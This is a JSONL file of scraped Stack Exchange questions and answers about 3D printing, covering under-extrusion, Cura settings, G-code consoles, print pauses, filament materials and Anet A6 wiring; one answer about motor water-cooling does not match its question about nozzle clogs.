{"id": "hf_b95112e7076c", "question": "<p>So after a long print the walls in the print begin to weaken and it appears they might not be printed at all.  In the upside down picture you can see the weakness where the two pieces are separated.  I'm wondering if perhaps reducing my speed and changing the extrusion size from .35 to .45 which is larger than the extruder itself.  Thanks for any help and suggestions!</p>\n\n<p><a href=\"https://i.stack.imgur.com/L3xt3.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/L3xt3.jpg\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "What you refer to as weak walls in fact are under-extruded walls. This can be caused by multiple sources, but, since the print recovers this most probably is caused by filament that is entangled on the spool (this causes more friction for the extruder and as such less flow, so under-extrusion; like as if the filament is being pulled back). Any other source that may induce extra friction is equally valid. E.g. kink in filament when using a Bowden configuration (long time extra friction in tube) or friction on the spool itself (I once had severe under-extrusion as the spindle of the spool caught a plastic bag which got wrapped around).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:06.614341"}
{"id": "hf_fa984d26a617", "question": "<p>I am trying to slice a model that is half a mm less than max width, but not successful.</p>\n\n<p><a href=\"https://i.stack.imgur.com/puSzw.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/puSzw.png\" alt=\"enter image description here\"></a></p>\n\n<p>What am I missing? Is there some minimum value less than maximum allowed, or something?</p>\n\n<p><strike><strong>Edit</strong>: after changing the width to 220 in machine settings, slicing works.</strike> This is a dangerous thing to do, as it <em>could</em> damage the printer.</p>\n", "question_body": "", "answer": "Take a look at this post:\nhttps://community.ultimaker.com/topic/15588-cura-23-not-using-full-print-area/\n. As the raft/skirt/brim will fall outside of the build volume, Cura is not able to slice it. Look at the the answer by @ahouben. He suggests that if you want to use the maximum build volume :\nadhesion type = brim\nbrim line count = 0\ntravel avoid distance = 0\nhorizontal expansion = 0\nsupport horizontal expansion = 0 (if support is enabled)\ndraft shield disabled\nooze shield disabled\ninfill wipe distance = 0﻿\nNote that in most cases brim with brim line count=0 will get you most of the way there\nTry this and see if it makes a difference.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:06.638741"}
{"id": "hf_fdfc05d98319", "question": "<p>I read that G-code commands can be sent through a console/terminal over USB. What is a console/terminal and how do you use that?</p>\n", "question_body": "", "answer": "There are several programs that could serve as a console to connect to a printer, put let's start somewhere: the USB connection.\nStep 1: Connection with USB\nWhen connecting the printer via USB for the first time, we will get a notification that some unknown item is connected. If we use windows we can learn what device it decided we now have via the\n```\ndevice manager\n```\n(\n```\nWindows Key\n```\nthen typing in\n```\nmanager\n```\nand\n```\nEnter\n```\n). It should be a COM Port as this picture shows.\nIn this case, we have connected to\n```\nCOM4\n```\n. To change the COM port, we can do so via a\n```\nRightclick\n```\n->\n```\nproperties\n```\n, then the\n```\nconnection settings\n```\nand\n```\nadvanced\n```\n. In the new window, we can change the COM port number to anything from 1 to 256, but it is recommended to keep the number somewhat low.\nMake sure you run the printer's power supply\nand\nthe connection via USB, as you can't use motor control commands if you have the power supply for the printer off.\nStep 2: Using the COM-port\nNow, we need a program that can use the COM port to connect to the printer. There are, as said, several out there. One such is\nRepetier Host\n, which comes with slicer and a good graphical interface. Another is\nUltimaker Cura\n, which has the same capacities but lacks logging of all the commands exchanged. Because many are familiar with it as a slicer, I will look at it first. As a third option, I will take a look at\nPronterface\n.\nCAVEAT: Only\none\nprogram that actively uses the COM port can be properly run at the same time, as the first program accessing the port will claim all uses for the COM port till it is shut down - any program or even other instances of the same program trying to access the port after that will have no control of the port.\nUltimaker Cura\nAfter launching Ultimaker Cura, choose your printer. many printers are available as presets by now, so just import the printer you use or make a custom profile. At the moment the latest version of Cura is 4.1.0, and will look like this:\nAfter switching to\n```\nMonitor\n```\n, it will automatically connect to the Printer via the COM port, in my case 4.\nOnce more we test the connection via Home\nand then use the Send G-Code prompt, confirming lines via\n```\nEnter\n```\n.\nRepetier Host\nAfter running Repetier Host the first time, you need to configure your printer.\n```\nCtrl\n```\n+\n```\nP\n```\nopens the config window for the printer. We need to know the Baud Rate of our printer, so I looked up the documentation of my Ender3, which told me 115200 is the right setting. Most printers seem to run on this setting. The other tabs decide the speeds, extruder number and limits and the bed shape. The rest isn't needed for this. My settings for the Ender3 are these:\nOk, we made our settings and saved via\n```\nOK\n```\n.\nNow, we press the Connect button on the left side of the menu:\nIt should change to the blue Disconnect button and display other parts of the print now, showing that we have connected. Note that at the bottom of the screen a log is filled with all the commands and exchanges.\nOn the right side, we now can choose the Tab\n```\nManual Control\n```\nBefore sending any commands, it is a good idea to press the Home\nbutton. This also serves as an extra test to see if the printer is connected correctly. Now we can use the Prompt G-Code to send our commands. The commands will be put into the log below.\nPronterface\nThis is the first time that I used\nPronterface\n. The first thing to do after downloading the Printrun package and running the Pronterface application is to press\n```\nPort\n```\n, then set the right Baudrate (115200 seems to work for many machines) and press\n```\nconnect\n```\n.\nThe GUI will saturate and the right log will show lots of things tested in connection. Note that in the lower right of the GUI, there is a temperature curve log, which can be very handy for troubleshooting, as it shows the change over a little time.\nBelow the log, we find the input for commands, and if we send a command, we get a log entry of it:", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:06.663007"}
{"id": "hf_6a217494fc5f", "question": "<p>I have a model that contains a cavity, into which I want to insert a piece of metal, so I can use a magnet to stick to the print. How can I introduce a pause into the G-code without manipulating it manually in Ultimaker Cura?</p>\n", "question_body": "", "answer": "Ultimaker Cura contains \"Extensions\"; in version 4.1.0, the process is as follows:\nExtensions -> Post Processing -> Modify G-code\nAdd a Script -> Pause at height\nChoose the one that matches your firmware!\nChoose the\n```\nPause height\n```\nto match the height the insertion should take place. Usually, this is to be the layer just before the roof is to be printed to keep the inserted objects from protruding from their cavities.\nChoose a park position well outside of the print. X 10 Y 10 is usually a good position for this.\nAdd a little retraction if you want.\nIn printing, you have to wait till the cavity is formed, insert the item quickly and press the control button to resume. The shorter the pause, the better the next layer will hold to the already printed.\nAlso, keep in mind to make the cavity a little larger than the insert, both in XY and Z, to compensate for the plastic shrinking a little and to allow the nozzle to pass well over the inserted item.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:06.714920"}
{"id": "hf_f6868a4b0278", "question": "<p>I'm making a hybrid 3D printer and circuit etching (CNC milling) machine that can both 3D print and etch prototype circuit boards. I'll be using Marlin firmware with an Arduino Mega &amp; RepRap 1.4 board. It will have a 3D printer head and a milling head side by side. I'd like to have it be able to read both .gbr (for circuit etching) and .gcode (for 3D printing) files. How should I configure Marlin to read both types?</p>\n", "question_body": "", "answer": "You can use both .gcode and .gbr files one one machine. We do it where I work.\nHowever, when we make prototype circuit boards, we don't print them; we acquire circuit board blanks, and then we either:\nUse a diode laser to burn off the top layer of garolite for isolation traces, then do a chemical dip to remove that copper, then another laser burn to expose pads for surface mount components; or\nUse a spindle tool to remove the top layer of garolite where needed for pads, as well as mill through the copper layer for isolation traces.\nWe have not found a printable material that has the conductivity we want in a circuit board.\nSource: I work for\nHyrel 3D\nNote: we don't use Marlin on Arduino, we use in-house firmware on STM32F429 boards.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:06.763520"}
{"id": "hf_d0315c3c92de", "question": "<p>When making a cylinder, sometimes I need to only take a pie slice. I'm currently using <a href=\"http://forum.openscad.org/Creating-pie-pizza-slice-shape-need-a-dynamic-length-array-tp3148p3149.html\" rel=\"noreferrer\">this</a> neat trick to make pie slices for angles under 90 degrees. However, I have need of a few angles over 90 but under 180 degrees. Is there a way to generalize/extend this to work for these bigger angles? </p>\n\n<pre><code>module pie_slice(r=3.0,a=30) {     \n   intersection() {\n    circle(r=r);\n    square(r);\n    rotate(a-90) square(r);  \n  } \n}\n\npie_slice(r=10,a=15);\n</code></pre>\n", "question_body": "", "answer": "My current workaround is to use\n```\nunion\n```\ninstead of intersection. Unfortunately, that means I have to use an\n```\nif\n```\nclause which makes the code have two paths instead of one clean approach. Also, unlike the above method, this does not result in a clean cylindrical shape but must instead by combined with a proper cylinder to get the final pie slice\n```\n```\nsize = length + 2;\n    if (angle_deg <= 90) {\n      translate([0,0,-1]) \n      intersection() {\n        cube(size);\n        rotate(angle_deg-90) cube(size);\n      }\n    } else if (angle_deg <= 180) {\n      translate([0,0,-1]) \n      union() {\n        cube(size);\n        rotate(angle_deg-90) cube(size);\n      }      \n    } else {\n      echo(str(\"FAILURE - Angle cannot exceed 180\"));\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:06.853162"}
{"id": "hf_4a585fc97523", "question": "<p>I'm printing on an Ender 5 with the default flex/magnetic build surface.\nI read that PLA and PETG may sometimes be printed without any bed heating at all and also that bed heating is the main contributor to the power consumption of a printer.</p>\n\n<p>As I do see that bed heating definitely helps with the first layer adhesion I did not want to turn it off completely, but I did start experimenting with turning off bed heating after all solid bottom layers have printed (using the ChangeAtZ script in Cura) and so far I haven't seen any negative effects, especially no warping (I am usually printing with a brim or raft; I think that might also help in that regard).</p>\n\n<p>Am I missing something? Why is <em>anyone</em> keeping the bed heated for an entire print?</p>\n", "question_body": "", "answer": "All the valid points of bed shrinking and dislocating your parts when cooling from the other answer aside there is also the added complexities both in testing reliability of such a thing that may or may not be applicable to all materials.\nThe added complexity to the slicers to figure out when it is safe to turn off the bed which I would imagine depends on part footprint. I also sometimes print several parts sequentially in the same job so then it would need to know that and time the bed heating correctly or pause and wait for bed between parts.\nI would also categorize printer power use as trivial (order of three 60W lightbulbs), but considering millions of machines worldwide economics of scale does kick in.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:06.947609"}
{"id": "hf_2d8dfcd7ccce", "question": "<p>My local library has a 3D printer (Lulzbot Mini) for patrons to use. The prints are limited to 4 hours and if I go after work I really only have two hours before the Library closes. The software at the Library will give an estimated time, but I would like to be able to estimate the time before I get there.</p>\n\n<p>Currently I have been creating my designs in TinkerCad and then I export the STL file. From the STL file I can find online estimators that will tell me how much material but nothing that says how long it will take to print.</p>\n\n<p>Is there a way of calculating the estimated printing time from a STL file for a given printer?</p>\n", "question_body": "", "answer": "There is no way to estimate the print time of an STL file directly.\nThe print time is based on the number of instructions in the g-code file plus the time it takes to move the effector (the hot end) around the build area. The only way to compute that is to know what settings their slicer is using and then slice your stl the way they will; and this is assuming that you have the same slicer software. If you manage to do that, then the slicer software will give you an estimate.\nHere is what you would need to do:\nGet access to the same slicing software, and obtain a copy of\nthe profile that they use to slice with. The nozzle diameter, feed\nrate, layer height, and infill settings will affect the print time.\nImport your stl into the sofware and \"slice it\" There will usually be a large button that is used to generate the g-code. There are quite a few slicers that will output the print time into the text of the g-code. They may also show the print time on the UI during slicing.\nalternatively: Email the stl to the staff at the library, and them to generate an estimate for you. They might just do it.\nHowever, that estimate could be incorrect. It will depend on the printer itself. As an example: the time it takes to heat the bed and the hot end is never included in the time estimate the slicer gives.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:06.971637"}
{"id": "hf_90bf729ea069", "question": "<p>I'm making a Circuit etching machine (CNC) and I need a good DC motor and drill bit for the spindle. </p>\n\n<p>My machine should be able to <strong>etch</strong>, <strong>drill</strong>, and <strong>cut</strong>:</p>\n\n<ul>\n<li><strong>Etching</strong>: take copper off the surface like chemicals or a laser would</li>\n<li><strong>Drilling</strong>: drill holes for THT (through-hole) components and possibly 2-sided boards</li>\n<li><strong>Cutting</strong>: cut out a piece of the board (cutting a big piece in half or cut a circle out of a big piece)</li>\n</ul>\n\n<p>I'd like to have 1 drill bit work with all 3 functions if possible. Having to switch out different bits is OK but a single bit is prefered.</p>\n\n<p>What sort of specifications should my spindle DC motor (rpm, voltage/amperage rating, ...) and drill bit (material, size, angle, ...) have? </p>\n", "question_body": "", "answer": "There are several sources of PCB \"etching\" bits.  They tend to be single straight flutes and high angle, very pointy bits.\nFor the motor, high speed is good.  Look for 30k+ RPM.  The main thing to be concerned about is the amount of runout, or wobble in the tip.  With a tiny tip, you can't afford much runout at all.  It will broaden the gap you are cutting and put stress on the bit, probably snapping it.\nThe key to low runout is very careful alignment of the chuck that holds the tip with the shaft of the motor, and a collet chuck to hold the tool.\nThe power needs aren't high since the speed is high and the cuts are light.  I would think that a 250 watt motor should be way more than sufficient.\nThe question now asks for drilling and routing, which should work better with the high-speed spindle.  30k is better for the tiny drills than a much slower spindle.  These are hurt by run out.\nUsually the drill bits are made of carbide.  For cutting, carbide router or file bits are used.  All drill-bits and router bits and copper cutting bits I have seen for sale have 1/8\" or 3mm shank.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:06.996130"}
{"id": "hf_c930a9f9c12f", "question": "<p>I'm doing some research on what types of LCD displays can be used to filter and pass UV light for resin curing - specifically in the context of building a DIY 3D SLA printer.</p>\n\n<p>The community commonly uses the Sharp LS055R1SX03 module. Looking through the datasheet, there doesn't seem to be any information pertaining to the characteristics of the device when passing UV wavelengths. Is there something special about this module that allows it to filter/pass UV wavelengths compared to other common LCD displays?</p>\n", "question_body": "", "answer": "I am not an expert by any stretch but I hope this helps, but these are regular old TFT LCD screens. You can even get 4K ones and use them for the same process. You can for example pick up 4K displays such as the H546UAN01.0 and do the same with them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:07.056222"}
{"id": "hf_2b3a1d724ed5", "question": "<p>I just got my first 3D printer (Creality Ender 3) on Friday, 2 days ago. It works great, but for some reason I'm getting a lot of stringing on my prints, especially the ones where the extruder head has to move a long distance between columns/posts, etc.</p>\n\n<p>I'm using Hatchbox \"True White\" PLA, which has a recommended temperature range of 180-210&nbsp;&deg;C. I've tried printing at 200, 190, and 185&nbsp;&deg;C and didn't see much improvement. I've also made sure I've enabled the 'retract' setting in the slicer (4.5&nbsp;mm) and verified the printer is retracting when it should.</p>\n\n<p>I'm not sure what else I can try... any suggestions?</p>\n", "question_body": "", "answer": "4.5 mm is a low retraction distance. Cura's default is 6.5 mm, and the Ender 3 profile provided with Cura sets it to 6 mm. The first thing you should try is increasing the retraction amount up to at least 6 mm. Also, make sure you actually enabled retraction. I saw one question here where a Cura user had enabled \"Retract at layer change\", which\ndoes not\nenable retraction (but of course it shows the options like retraction amount since you need to be able to select it for this too).\nYour low nozzle temperature of 185 °C is also a problem. You'll have very low flow at that temperature, resulting in under-extrusion and pressure building up in the nozzle instead of extruding the material. That in turn will make it so, even after retracting, there's still material (and pressure) at the nozzle and it will keep oozing, unless you set a\nreally\nhigh retraction amount (and even then problems will build up over time during the print, but you might get lucky and not see them). The only way to print PLA at 185 °C is really,\nreally\nslowly.\nIn general, some people would also recommend trying a different filament, based on reports that some vendors' PLA oozes and strings badly, but I don't think that's an issue for you. I use Hatchbox filament on my Ender 3 all the time and never have a problem with stringing from it. And even if the filament is prone to stringing, you can almost surely avoid it with proper settings. Even very soft flex filaments can be printed on this printer without stringing as long as your retraction, temperature, and speed are tuned to avoid having pressure at the nozzle during travel moves.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:07.093206"}
{"id": "hf_b47e4c5e71f8", "question": "<p>I have a Tevo Tornado Gold 24&nbsp;V. I want to use this LJ12 A3-4-Z/BX Inductive NPN NO 4&nbsp;mm with 6-36&nbsp;V operation current as a Z probe. I do not want to fry my machine by putting in 24&nbsp;V into the sensor input.</p>\n\n<p>What do I have is a 12&nbsp;V, single channel optocoupler isolation module.</p>\n\n<p>I want to know if this 12&nbsp;V optocoupler module can be used with a 24&nbsp;V power supply, or do I need another module in order to prevent me frying my sensor.</p>\n\n<p>If I do need another what would I need?\n<a href=\"https://i.stack.imgur.com/cxoYG.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/cxoYG.png\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "Not using a 12 V rated module\n\"on its own\"\n.\nUsing a 12 V/5 V optocoupler to try to connect 24 V to the 5 V circuit is running the optocoupler outside of its rating, meaning you will destroy it, either immediately or after a short time.\nA properly rated one\nTo shield the 5 V against the maximal 24 V from the probe without extra parts, you will need to use a 24 V/5 V optocoupler.\nTrickery with voltage dividers\nWith a 50 %\nvoltage divider\nmade from two properly rated resistors, you could limit the voltage to the optocoupler, which in turn would turn the 24 V signal into a 12 V signal, which would protect our optocoupler and the board beyond.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:07.121855"}
{"id": "hf_47ada45e5c27", "question": "<p>I'm trying to make a water insulated 1&nbsp;cm<sup>3</sup> (1&nbsp;ml) transparent container and I bought some plexiglass, I cut and glued some pieces together but it looks really crappy and barely holds the water in. I was wondering, is there a transparent material (similar to plexiglass) that can order to 3D print the container out of it? Also, if 3D printing is not the best option, where can I order around a 100 pieces of 1&nbsp;cm<sup>3</sup> transparent water insulating containers with caps?</p>\n", "question_body": "", "answer": "Yes. You'll probably want to use SLA or Polyjet printers with transparent resin. For example, here's\nShapeways' page on transparent SLA\nand\ntheir page on Polyjet\n(which says you need to phone them for transparent Polyjet parts as their online order system can't handle it).\nFDM printing with transparent materials doesn't usually result in parts that look like transparent injection-moulded parts, because the lines of material laid down by the printer are visible. There are\nsome techniques to make this better\n, but a printing bureau is less likely to offer this kind of special handling.\nIn any case, you should discuss your requirements in more detail with suppliers, and they'll be able to advise whether they offer any manufacturing processes that meet your needs. In particular, if you need your containers to be food-safe, you should mention that at the start, as it'll rule out a lot of possible suppliers, machines, and materials.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:07.264932"}
{"id": "hf_9f757020e29a", "question": "<p>I have an Anet A8 and have a problem with my first layer. I printed nice prints but starting today the first layer is tearing in the middle:</p>\n\n<p><a href=\"https://i.stack.imgur.com/4BiUc.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/4BiUc.jpg\" alt=\"enter image description here\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/L94tI.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/L94tI.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>Any idea how to fix this?</p>\n", "question_body": "", "answer": "The great pics really help with the answerability of this question. From how catastrophic the failure is, and how it's clearly independent of any specialty needs for the particular print such as tiny bed-adhesion contacts, sharp overhangs, bridges, etc. this is definitely not a problem with temperature. Different people recommend different temperatures for PLA, but I find that 210°C works well for me, and if you go much lower you'll hit problems getting the needed extrusion rate for anything but slow print speeds.\nI've seen nearly this exact phenomenon before, so I knew it was probably a matter of the bed being too high, blocking extrusion of the first layer and forcing what little material can escape out to the sides of the nozzle, then tearing into it when the next adjacent line is laid out.\nIf I didn't know that, though, I'd still start looking for a source of the problem that's related to extrusion rate. Something was clearly wrong with getting the right amount of material in the right space, which indicates to me that there's either too much material (overextrusion/wrong filament diameter selected) or too little space (bed to high).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:07.287739"}
{"id": "hf_4c5b5bf58674", "question": "<p>I'm looking to 3D print a structure that won't deform in high heat, up to about 220&nbsp;&deg;C. The filament itself can be 3D printed all the way up to about 380&nbsp;&deg;C. </p>\n\n<p>PEI seems like it could be a viable option. I found some <a href=\"https://www.matterhackers.com/store/l/3dxtech-thermax-pei-175mm-05kg/sk/MHCFSNUC?rcode=GAT9HR&amp;gclid=CjwKCAjwqZPrBRBnEiwAmNJsNsqaaSEcWYtaTv1rIwDKuWgI9xCyinqDgV7bYUUO3zX7-pIA0gDPSBoCclYQAvD_BwE\" rel=\"nofollow noreferrer\">here</a>. This PEI filament  specifies the glass transition temperature at 217&nbsp;&deg;C.</p>\n\n<p>Would this filament work? Are there any other types of materials that would fulfill this engineering requirement?</p>\n", "question_body": "", "answer": "Your expected operating temperature exceeds the glass transition temperature by 3 °C. This implies that the structure will become weak and can deform under load.\nNote that you cannot simply print PEI on a normal machine, it requires a special high temperature capable printer with hot end temperatures up to 400 °C and heated bed over 120 °C up to 160 °C, furthermore it will need a heated chamber (up to about 80 °C) which requires special care to cooling and placement of electronics and motors.\nNot having specified what kind of structure you require, you could look into steel.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:07.323630"}
{"id": "hf_339a3f4248e8", "question": "<p>A few minutes after finishing a print job, the filament is solidified in the nozzle and the nozzle-throat. When I start another print job a while later, the filament is not sufficiently melted and the nozzle is obstructed. Do I need to clean the nozzle after every print job ? or is there a practical method to overcome this difficulty ?</p>\n", "question_body": "", "answer": "Your solution will not cool all sides effectively. Firstly don't use zip ties; get thermal tape.\n(\nhttps://www.amazon.com/Thermal-Interface-Products-Heat-Sink/dp/B00QSHPH8E/\nSecondly, the heat will need to travel around the outside of the motor to get from the side that doesn't have the water block. Its expensive but you could use\nPyrolytic Graphite Sheets\nto wrap around the outside of the motor, to get the heat to the water block faster.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:07.370305"}
{"id": "hf_a8c4c3ece734", "question": "<p>When go to export a model using Fusion 360 or Meshmixer, I see that there are two options. Could the final model be affected by the format chosen at the time of saving?</p>\n\n<p><a href=\"https://i.stack.imgur.com/xIEXt.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/xIEXt.png\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "I have experienced problems on occasion when using a binary exported Meshmixer model. The slicers used have been Simplify3D and Prusa Slicer 2.0 and possibly an earlier version. I've not attempted to resolve the problem other than to change that specific model to export to ASCII which then solves the problem. ASCII files will be larger but that's not a significant factor, in my opinion.\nIf you are using a program which fails to properly process a binary export, it's simple enough to overwrite the model in ASCII form.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:07.393261"}
{"id": "hf_e25d61317daf", "question": "<p>Why don't 3D printer heads use ceramic inner walls? PTFE tubes melt with high enough temperatures and all metal ends risk jamming as heat makes its way up the head.</p>\n", "question_body": "", "answer": "Because PTFE doesn't transmit heat very well? The whole idea when using a PTFE tube (and this is just my understanding ... which could be wrong), is for the tubing not to transmit heat, therefore allowing the filament to pass through it without melting or at the very least, collecting a lot of heat along the way (which helps prevent jams). PTFE does a pretty good job of standing up to heat while accomplishing the task at hand. Ceramic does an\nexcellent\njob of standing up to heat. The problem is, it will pass the heat along to the filament, most likely melting it, thus causing it to deform and jam before it gets to the hot end. This would then become a maintenance nightmare.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:07.417061"}
{"id": "hf_7664485d226b", "question": "<p>I've just built my son's A6 and have connected all cables apart from the last power cables. The mainboard says hotbed line and extruder line but the cable says heatbed.</p>\n\n<p>The cables are two red which are crimped together and two black crimped together.</p>\n\n<p>All of the videos online show a different mainboard and connections.\nThere are more connections than cables because the wires are crimped.</p>\n\n<p>I can't get my head around which wires go where, any ideas?</p>\n", "question_body": "", "answer": "The manual appears to be available here,\nInstallation Instruction_Anet A6 3D Printer - Elektor\nHowever, according to\nthis comment\nfrom\nHard copy of the build guide?\n, there is a mistake in the PDF of the manual, with respect to the heatbed, and as such, it is better to follow the videos:\nI find it is better to use the 3 videos:\n3D Printer Instruction--Anet 3D Printer A6 Assembly Video 1\n3D Printer Instruction--Anet 3D Printer A6 Assembly Video 2\nPrinter Instruction- A6 - Hot Bed Level Adjustment and Print Test\nOnly errors in the videos and i believe the instuction the Hetbed\nfixing plate i have build diffrently , rotated by 180 degrees\nvertical, since it is better for the belt and somewhere in the video\nduring fixating of the end-switch and the blower he interchanged the\nscrews.\nHowever, looking at the manual, if it is to be believed, then be aware that\nas well as\none connection for the extruder motor, there are two connectors\neach\nfor\nboth\nthe extruder and the hotbed heaters:\nOne for the separate heating elements, of the extruder and hotbed respectively, and;\nOne for the thermistor sensor (both the extruder\nand\nthe hotbed have separate thermistors).\nThis makes\nfive in total\nfor the extruder and the hotbed combined.\nHowever, the power connections for the Extruder\nmotor\nhas four pins (in white at the top), whereas the heating elements for the hotbed and the extruder have two pins and are of a different shape (in green on the left). The sensor connections for both the extruder and the sensor have three pins (in white at the bottom), but it should be easy not to confuse them, so long as you follow the wires to check to which component they go to.\nAdditional points to be aware of\nFrom\nthis comment\nin the same thread:\nI just built an A6 three weeks ago and with the videos it is really a\nbreeze to assemble the unit.\nJust pay attention to the heat bed mounting plate as it is installed\nbottoms up in the video. The bar connecting the outer two plates where\nthe heat bed is finally mounted should be below the plates, not above\nas in the video.\nAlso, if you still have time, order some decent toothed belt, Igus\nDrylin RJ4JP-01, and toothwheels for the Y and X belts and replace the\noriginal pulleys, bearings, and belts before you even assemble the\nunit. I just changed mine last week and it does make a hell of a\ndifference - with this little upgrades (cost me less than 30$ for\neverything - at Amazon) you upgrade from an okay printer to a really\ndecent machine.\nThe belt:\nhttps://www.amazon.com/Anycubic-Meters-Timing-Pulleys-Printer/dp/B0152ZNDLK\nThe pulleys:\nhttps://www.amazon.com/Aluminum-Bearing-Timing-3D-printers/dp/B0188HW4Z0\nThe bearings:\nhttps://www.amazon.com/Printer-Solid-Polymer-LM8UU-Bearing/dp/B06XPRCMJS\n(actually, you need 8 pieces - not seven as in the images - 4 for the\nY-axis and 4 for the X-axis)\nThe above are not the actual articles I've bought because I am from\nEurope where Amazon sells in different quantities.\nIf you want to go on the safe side, grab a second power supply and two\nMOSFET boards to remove the high current from the mainboard:\nPSU:\nhttps://www.amazon.com/eTopxizu-Universal-Regulated-Switching-Computer/dp/B00D7CWSCG\n(just as an example)\nMOSFET:\nhttps://www.amazon.com/Wangdd22-Printer-Expansion-Heatbed-Current/dp/B01MY50JL3\nPower socket and switch:\nhttps://www.amazon.com/URBEST-Module-Switch-Certification-Socket/dp/B00ME5YAPK\nLast recommendation: get some 3mm borosilicate glass to lay (clip)\nover the heatbed. This will make the prints stick better and also\nprovide a perfectly flat surface for the builds (still, you'll need to\ndo the levelling)\nGlass:\nhttps://www.amazon.com/Signstek-Printer-Tempered-Borosilicate-2132003mm/dp/B00QQ5Q3BI\nWhen assembling the heatbed mount, pay lots of attention to the 16\nscrews. Tighten them one by one diagonally and move the bed around. If\nthe bed feels stuck, loosen the last screws and shift the mounts\naround a bit. The lighter this mount moves, the better your prints\nwill be.\nOne thing that you must be aware: This printer is a great little unit,\nbut it needs love, dedication and plenty upgrades. Out of the box it\nworks okay, but with the upgrades it becomes a really good unit.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:07.438187"}
